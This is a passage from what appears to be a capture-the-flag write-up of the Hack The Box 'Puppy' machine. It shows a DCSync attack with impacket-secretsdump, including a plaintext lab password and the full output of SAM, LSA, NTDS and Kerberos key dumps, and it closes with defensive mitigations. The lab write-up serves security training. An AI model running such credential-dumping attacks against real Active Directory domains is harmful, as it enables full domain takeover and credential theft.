dabcf54bba7de2b1d31b132d40938f62
*Evil-WinRM* PS C:\Users\steph.cooper_adm\Desktop> 

If we check, we can see that steph.cooper_adm has the Replicating Directory Changes All extended right (DS-Replication-Get-Changes-All) on the domain — commonly known as DCSync rights. This privilege allows the account to impersonate a Domain Controller and request replication of the entire NTDS.dit database, which contains NTLM password hashes for every domain user and computer. We use impacket-secretsdump to perform the DCSync attack, which uses the DRSUAPI (Directory Replication Service API) Remote Protocol — the same protocol Domain Controllers use to replicate AD changes among themselves:

The output is structured in sections:

  1. SAM hashes — Local machine accounts on the DC (Administrator:500:...:9c541c38..., Guest). These are the local SAM database hashes (the DC’s own local accounts), separate from AD domain users.
  2. LSA Secrets — Machine account (DC$) password, DPAPI_SYSTEM keys (machine and user keys for domain-wide DPAPI recovery), NL$KM (local SAM key material used to encrypt SAM hashes).
  3. Domain Credentials (NTDS.dit) — The full AD database dump with NTLM hashes for every domain user. The DRSUAPI method confirmation means the tool successfully impersonated a Domain Controller and replicated the AD database. The format is domain\user:RID:LMHash:NTHash:::. We now have the Administrator NT hash (bb0edc15e49ceb4120c7bd7e6e65d75b) for Pass-the-Hash authentication.
  4. Kerberos keys — AES-256, AES-128, and DES keys for each account, derived from the NTLM hash. These enable Kerberos authentication without knowing the plaintext password.

Error loading

1
impacket-secretsdump 'PUPPY.HTB/steph.cooper_adm:FivethChipOnItsWay2025!'@$IP 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
┌──(kali㉿kali)-[~/HTB-machine/puppy/my-share]
└─$ impacket-secretsdump 'PUPPY.HTB/steph.cooper_adm:FivethChipOnItsWay2025!'@$IP 

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xa943f13896e3e21f6c4100c7da9895a6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9c541c389e2904b9b112f599fd6b333d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
PUPPY\DC$:aes256-cts-hmac-sha1-96:f4f395e28f0933cac28e02947bc68ee11b744ee32b6452dbf795d9ec85ebda45
PUPPY\DC$:aes128-cts-hmac-sha1-96:4d596c7c83be8cd71563307e496d8c30
PUPPY\DC$:des-cbc-md5:54e9a11619f8b9b5
PUPPY\DC$:plain_password_hex:84880c04e892448b6419dda6b840df09465ffda259692f44c2b3598d8f6b9bc1b0bc37b17528d18a1e10704932997674cbe6b89fd8256d5dfeaa306dc59f15c1834c9ddd333af63b249952730bf256c3afb34a9cc54320960e7b3783746ffa1a1528c77faa352a82c13d7c762c34c6f95b4bbe04f9db6164929f9df32b953f0b419fbec89e2ecb268ddcccb4324a969a1997ae3c375cc865772baa8c249589e1757c7c36a47775d2fc39e566483d0fcd48e29e6a384dc668228186a2196e48c7d1a8dbe6b52fc2e1392eb92d100c46277e1b2f43d5f2b188728a3e6e5f03582a9632da8acfc4d992899f3b64fe120e13
PUPPY\DC$:aad3b435b51404eeaad3b435b51404ee:d5047916131e6ba897f975fc5f19c8df:::
[*] DPAPI_SYSTEM 
dpapi_machinekey:0xc21ea457ed3d6fd425344b3a5ca40769f14296a3
dpapi_userkey:0xcb6a80b44ae9bdd7f368fb674498d265d50e29bf
[*] NL$KM 
 0000   DD 1B A5 A0 33 E7 A0 56  1C 3F C3 F5 86 31 BA 09   ....3..V.?...1..
 0010   1A C4 D4 6A 3C 2A FA 15  26 06 3B 93 E0 66 0F 7A   ...j<*..&.;..f.z
 0020   02 9A C7 2E 52 79 C1 57  D9 0C D3 F6 17 79 EF 3F   ....Ry.W.....y.?
 0030   75 88 A3 99 C7 E0 2B 27  56 95 5C 6B 85 81 D0 ED   u.....+'V.\k....
NL$KM:dd1ba5a033e7a0561c3fc3f58631ba091ac4d46a3c2afa1526063b93e0660f7a029ac72e5279c157d90cd3f61779ef3f7588a399c7e02b2756955c6b8581d0ed
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb0edc15e49ceb4120c7bd7e6e65d75b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a4f2989236a639ef3f766e5fe1aad94a:::
PUPPY.HTB\levi.james:1103:aad3b435b51404eeaad3b435b51404ee:ff4269fdf7e4a3093995466570f435b8:::
PUPPY.HTB\ant.edwards:1104:aad3b435b51404eeaad3b435b51404ee:afac881b79a524c8e99d2b34f438058b:::
PUPPY.HTB\adam.silver:1105:aad3b435b51404eeaad3b435b51404ee:a7d7c07487ba2a4b32fb1d0953812d66:::
PUPPY.HTB\jamie.williams:1106:aad3b435b51404eeaad3b435b51404ee:bd0b8a08abd5a98a213fc8e3c7fca780:::
PUPPY.HTB\steph.cooper:1107:aad3b435b51404eeaad3b435b51404ee:b261b5f931285ce8ea01a8613f09200b:::
PUPPY.HTB\steph.cooper_adm:1111:aad3b435b51404eeaad3b435b51404ee:ccb206409049bc53502039b80f3f1173:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:d5047916131e6ba897f975fc5f19c8df:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:c0b23d37b5ad3de31aed317bf6c6fd1f338d9479def408543b85bac046c596c0
Administrator:aes128-cts-hmac-sha1-96:2c74b6df3ba6e461c9d24b5f41f56daf
Administrator:des-cbc-md5:20b9e03d6720150d
krbtgt:aes256-cts-hmac-sha1-96:f2443b54aed754917fd1ec5717483d3423849b252599e59b95dfdcc92c40fa45
krbtgt:aes128-cts-hmac-sha1-96:60aab26300cc6610a05389181e034851
krbtgt:des-cbc-md5:5876d051f78faeba
PUPPY.HTB\levi.james:aes256-cts-hmac-sha1-96:2aad43325912bdca0c831d3878f399959f7101bcbc411ce204c37d585a6417ec
PUPPY.HTB\levi.james:aes128-cts-hmac-sha1-96:661e02379737be19b5dfbe50d91c4d2f
PUPPY.HTB\levi.james:des-cbc-md5:efa8c2feb5cb6da8
PUPPY.HTB\ant.edwards:aes256-cts-hmac-sha1-96:107f81d00866d69d0ce9fd16925616f6e5389984190191e9cac127e19f9b70fc
PUPPY.HTB\ant.edwards:aes128-cts-hmac-sha1-96:a13be6182dc211e18e4c3d658a872182
PUPPY.HTB\ant.edwards:des-cbc-md5:835826ef57bafbc8
PUPPY.HTB\adam.silver:aes256-cts-hmac-sha1-96:670a9fa0ec042b57b354f0898b3c48a7c79a46cde51c1b3bce9afab118e569e6
PUPPY.HTB\adam.silver:aes128-cts-hmac-sha1-96:5d2351baba71061f5a43951462ffe726
PUPPY.HTB\adam.silver:des-cbc-md5:643d0ba43d54025e
PUPPY.HTB\jamie.williams:aes256-cts-hmac-sha1-96:aeddbae75942e03ac9bfe92a05350718b251924e33c3f59fdc183e5a175f5fb2
PUPPY.HTB\jamie.williams:aes128-cts-hmac-sha1-96:d9ac02e25df9500db67a629c3e5070a4
PUPPY.HTB\jamie.williams:des-cbc-md5:cb5840dc1667b615
PUPPY.HTB\steph.cooper:aes256-cts-hmac-sha1-96:799a0ea110f0ecda2569f6237cabd54e06a748c493568f4940f4c1790a11a6aa
PUPPY.HTB\steph.cooper:aes128-cts-hmac-sha1-96:cdd9ceb5fcd1696ba523306f41a7b93e
PUPPY.HTB\steph.cooper:des-cbc-md5:d35dfda40d38529b
PUPPY.HTB\steph.cooper_adm:aes256-cts-hmac-sha1-96:a3b657486c089233675e53e7e498c213dc5872d79468fff14f9481eccfc05ad9
PUPPY.HTB\steph.cooper_adm:aes128-cts-hmac-sha1-96:c23de8b49b6de2fc5496361e4048cf62
PUPPY.HTB\steph.cooper_adm:des-cbc-md5:6231015d381ab691
DC$:aes256-cts-hmac-sha1-96:f4f395e28f0933cac28e02947bc68ee11b744ee32b6452dbf795d9ec85ebda45
DC$:aes128-cts-hmac-sha1-96:4d596c7c83be8cd71563307e496d8c30
DC$:des-cbc-md5:7f044607a8dc9710
[*] Cleaning up... 
[*] Stopping service RemoteRegistry
[-] SCMR SessionError: code: 0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop control has been sent to a service that other running services are dependent on.
[*] Cleaning up... 

Mitigations & Security Recommendations

  1. Restrict Active Directory Delegations & Write Permissions:
    • Audit and restrict directory permissions (such as GenericWrite, WriteDacl, or AllExtendedRights) on security groups. A non-admin group like HR should not have permission to modify memberships of the DEVELOPERS group.
    • Enforce constraints on who can reset passwords or modify the userAccountControl attribute on domain users (e.g. adam.silver), restricting this capability to Domain Admins or Tier 0 administrators.
  2. Secure Shares and Key Store Auditing:
    • Avoid storing sensitive files such as KeePass databases (.kdbx) on network shares accessible by broad groups of users.
    • Implement strong master keys and multifactor key files for database encryption.
  3. Protect System and Application Backups:
    • Encrypt all backup files and restrict access to backup folders (e.g., C:\Backups).
    • Remove plaintext credentials from application backup configuration templates (such as nms-auth-config.xml.bak).
  4. Mitigate DPAPI Credential Exposure:
    • Limit the reuse of administrative credentials on general-purpose servers. If an administrator account (like steph.cooper_adm) authenticates to a server, its DPAPI secrets and master keys can be retrieved by standard administrators on that machine.
    • Implement credential protection measures like Windows Defender Credential Guard to prevent LSA and DPAPI secrets from being dumped.
  5. Limit DCSync Permissions:
    • Closely monitor and restrict Active Directory rights to replicate directory changes (the “Replicating Directory Changes” and “Replicating Directory Changes All” extended rights). Ensure only Domain Controllers and default built-in administrators possess DCSync privileges.
This post is licensed under CC BY 4.0 by the author.